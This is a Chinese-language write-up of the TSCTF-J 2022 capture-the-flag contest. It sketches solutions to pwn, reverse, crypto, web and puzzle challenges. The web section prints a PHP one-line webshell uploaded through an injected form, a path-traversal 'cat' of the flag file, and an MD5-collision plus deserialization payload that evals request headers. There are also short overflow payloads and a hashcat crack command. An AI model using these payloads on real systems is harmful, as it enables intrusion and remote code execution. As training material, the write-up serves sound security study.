TSCTF-J 2022 writeup
Misc
北邮人之声
听录音判断倒放,反转后为无线电语音字母表,得到FLAG
Just_Play
PART1&3解包能出,正常玩也能出;PART2在迷宫地图中;PART4一直不打鼠鼠,过一会鼠鼠就开始说一些莫名其妙听不懂的英语就是
Strange_Base64
读代码,按utf-8解码后再按同样编码(似乎也是utf-8)发送,nc默认gbk好像不行
1 | from pwn import * |
Pwn
checkin
利用buf的读取溢出覆盖栈上ch[]为BUPTBUPT,payload:
1 | p.send(b'a'*32+b'BUPTBUPT') |
ヰ世界転生
拿points,判断把分数当做int8判断(即只判断最低字节大小)
买Custom Effect输入skill length将无符号数作为有符号数判断,传一个-1即可
读取skill名时显然存在buffer overflow,构造ret2text
1 | from pwn import * |
ret2shellcode
主函数在固定地址0x233000处申请空间存储buf。将shellcode读至buf处,再利用栈上数组溢出构造ret2shellcode。seccomp-tools发现不能execve,使用orw的思路。exp如下
1 | from pwn import * |
Another_Checkin_Pwn
fmtstr盲打,dump:
1 | from pwn import * |
输入密码getshell
ASCII_ART
主函数读到buf数组有溢出,然后直接执行buf[2]处存储的地址对应的函数。搜索字符串发现后门函数,由于程序开启pie使用partial overwritting反复尝试getshell,payload如下
1 | p.send(b'a'*0x10+b'\x30\xb3') |
Easy Shellcode
非预期解:x32 abi orw
1 | lea rax,[rip] |
Reverse
baby_upx
附件更改前:
固定基址后x64手脱壳,找到OEP:0x14001AB80
经分析,程序逻辑为encrypt输入字符
1 | __int64 __fastcall encrypt(char a1){ |
,因为可能有多解,程序在比较无误后,再通过MD5检验flag正确性。
利用爆破得到所有可能
1 |
|
因为flag为自然语言,可直接目测,不需要md5校验。
附件更改后:
做法类似,不过Scylla导入表里面找错了一个,右键删除就行
baby_key
找key
对于每一位,有个数组将字符串index对应到key的index变化上,不同字符对于对应字节的增减不同,观察得key:sO*h4hdsOm3!!sg!
解密
程序之后用key做tea加密,DELTA值很良心地没换,很有特征,然后将出来的字节看作DWORD数据并调换大小端序。
解题脚本
1 |
|
baby_xor
水题,动调拿data,直接异或
1 |
|
byte_code
百度一下指令发现是py的bytecode给dis.dis()出来的产物,py的(伪?)汇编代码还挺好读的,这不比x86强多了?
1 | a=[114,101,118,101,114,115,101,95,116,104,101,95,98,121,116,101] |
Crypto
T0ni’s_RSA
flag1给定p,q,e,c直接解密;flag2小素数使用factordb分解解密;flag3两素数接近使用yafu分解解密;flag4小指数将c开e次方解密
锟斤拷
摩斯密码,锟斤拷为.,烫烫烫为-,解码后base32再解码出flag
Two Keys
key1
通过卡特兰数的hint出e=58786//2,正常RSA解密出
key2
1 | ./hashcat.exe -m 1400 -a 3 2b87ea3983c646fcecc476f6930c18bf75935cab40471930f560bef2f370b82e |
拿到KEY=vmefifty,正常DES解密出
Web
词超人
正确答案存在每个单词div下的class “en”里,稍微改动一下页面js就能出
1 | function submit(){ |
真真历险记
根据结尾提示CyberSpace Security看CSS,part1,2,3加起来是一个混淆过的js,扔进浏览器console里就出了
寒秋送温暖
题目没给上传的按钮,手动往里插一个
1 | <form id="upload-form" action="index.php" method="post" enctype="multipart/form-data" > |
用一句话木马,题目过滤了eval就直接system
1 | echo system($_GET['a']); |
设Content-Type: image/jpg,拿到上传文件路径后直接顺着找flag
payload:cat ../../../flag.sh
can can need picture
参数f是两次base64编码过的,同样方法传入flag.php,得到提示hack.php和class.php。先找md5碰撞,再构造rop链,最后无参rce。payload:
1 | hack.php?a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&pop=O%3A5%3A%22apple%22%3A2%3A%7Bs%3A3%3A%22var%22%3BO%3A6%3A%22banana%22%3A2%3A%7Bs%3A3%3A%22str%22%3Br%3A2%3Bs%3A2%3A%22v1%22%3BO%3A5%3A%22apple%22%3A2%3A%7Bs%3A3%3A%22var%22%3BN%3Bs%3A2%3A%22m1%22%3BO%3A4%3A%22find%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00code%22%3Bs%3A36%3A%22eval%28end%28apache_request_headers%28%29%29%29%3B%22%3B%7D%7D%7Ds%3A2%3A%22m1%22%3BN%3B%7D |
生成代码
1 |
|
Abstract
Abstract_culture
曾经(Yesterday)沧海(emoji)难(emoji)为水(emoji),除却巫山(emoji)不(emoji)是云(emoji)
EasterEgg
一眼数组,1376666,牛的
nc me
cat flag
Abstract_culture_revenge
莫(蛤蟆)愁(丑牛)前(kilo)路(录制?)无(五点)知(知识)己(鸡尾酒)
天(天气)下(下弦月)谁(水瓶座)人(不懂)不(占卜)识(箭矢)君(菌)